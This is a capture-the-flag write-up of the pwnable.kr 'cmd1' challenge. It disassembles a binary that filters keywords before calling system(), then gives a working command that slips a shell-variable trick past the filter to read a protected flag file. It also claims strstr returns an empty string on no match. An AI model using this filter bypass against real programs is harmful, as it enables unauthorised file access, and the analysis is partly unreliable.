This was a very easy one
cmd1@pwnable:~$ ls -ls
total 20
12 -r-xr-sr-x 1 root cmd1_pwn 8513 Jul 14 2015 cmd1
4 -rw-r--r-- 1 root root 320 Mar 23 2018 cmd1.c
4 -r--r----- 1 root cmd1_pwn 48 Jul 14 2015 flag
We copy the cmd1 file and execute it to see what is happening
cmd1@pwnable:~$ ./cmd1
Segmentation fault (core dumped)
Ok, seems like things are expected and not checked if they are missing. Let’s open it in Ghidra
00400603 PUSH RBP
00400604 MOV RBP,RSP
00400607 SUB RSP,0x20
MOV dword ptr [RBP + local_c],param_1
0040060b MOV qword ptr [RBP + local_18],param_2
0040060e 00400612 MOV qword ptr [RBP + local_20],RDX
00400616 MOV param_1=>s_PATH=/fuckyouverymuch_00400768,s_PA = "PATH=/fuckyouverymuch"
MOV EAX,0x0
0040061b 00400620 CALL putenv int putenv(char * __string)
00400625 MOV RAX,qword ptr [RBP + local_18]
00400629 ADD RAX,0x8
MOV RAX,qword ptr [RAX]
0040062d 00400630 MOV param_1,RAX
00400633 CALL filter undefined filter()
00400638 TEST EAX,EAX
JZ LAB_00400643
0040063a MOV EAX,0x0
0040063c 00400641 JMP LAB_00400660
00400643 XREF[1]: 0040063a(j)
LAB_00400643 MOV RAX,qword ptr [RBP + local_18]
00400647 ADD RAX,0x8
MOV RAX,qword ptr [RAX]
0040064b MOV param_1,RAX
0040064e 00400651 MOV EAX,0x0
00400656 CALL system int system(char * __command)
MOV EAX,0x0
0040065b 00400660 XREF[1]: 00400641(j)
LAB_00400660 LEAVE
00400661 RET
Not a lot to say. The first part uses the putenv function (00400620
) to set PATH to gibberish and make it unusable. So we will need to provide full path. Then we see that param_2
(argv) the second element is accessed and passed to a function named filter
(00400633
). Filter seems to return a boolean or an integer. If it returns false or zero it will JZ (0040063a
) over the forced JMP (00400641
) to exit.
If we do not jump to the end we will call system (00400656
) with what seems to be argv[1]
(00400647
).
Let us check what makes us skip this powerful system command.
00400594 PUSH RBP
00400595 MOV RBP,RSP
00400598 SUB RSP,0x20
MOV qword ptr [RBP + local_20],RDI
0040059c MOV dword ptr [RBP + local_c],0x0
004005a0 MOV RAX,qword ptr [RBP + local_20]
004005a7 MOV ESI=>DAT_0040075c,DAT_0040075c = 66h f
004005ab MOV RDI,RAX
004005b0 CALL strstr char * strstr(char * __haystack,
004005b3 TEST RAX,RAX
004005b8 SETNZ AL
004005bb MOVZX EAX,AL
004005be ADD dword ptr [RBP + local_c],EAX
004005c1 MOV RAX,qword ptr [RBP + local_20]
004005c4 MOV ESI=>DAT_00400761,DAT_00400761 = 73h s
004005c8 MOV RDI,RAX
004005cd CALL strstr char * strstr(char * __haystack,
004005d0 TEST RAX,RAX
004005d5 SETNZ AL
004005d8 MOVZX EAX,AL
004005db ADD dword ptr [RBP + local_c],EAX
004005de 004005e1 MOV RAX,qword ptr [RBP + local_20]
004005e5 MOV ESI=>DAT_00400764,DAT_00400764 = 74h t
MOV RDI,RAX
004005ea CALL strstr char * strstr(char * __haystack,
004005ed TEST RAX,RAX
004005f2 SETNZ AL
004005f5 MOVZX EAX,AL
004005f8 ADD dword ptr [RBP + local_c],EAX
004005fb MOV EAX,dword ptr [RBP + local_c]
004005fe 00400601 LEAVE
00400602 RET
Filter seems to do what the function name says. It checks if our input provides any words that strstr matches and if so will add it to local_c
. So it seems to be returning an integer and not a boolean.
But a new instruction appears. SETNZ, which in combination with TEST will set AL
to 0x01
if EAX
does not contain the 0x0 char. When strstr doesn’t find anything it returns an empty string.
The strings it searches for are
Ok, we need to cat our flag file. PATH
has been unset so we need to use the absolute file names
./cmd1 '/bin/cat /home/cmd1/flag' $
Now, we can’t use the flag word… But the check isn’t that sophisticated. Why not just use a non-existinging variable?
./cmd1 '/bin/cat /home/cmd1/fla${mldb}g' $
That was easy. Many other solutions to this exist, what they are trying to filter out is you using symbolic links in the tmp folder, you forking a shell,… but as the checks are very strict, they are very easy to circumvent.
< Home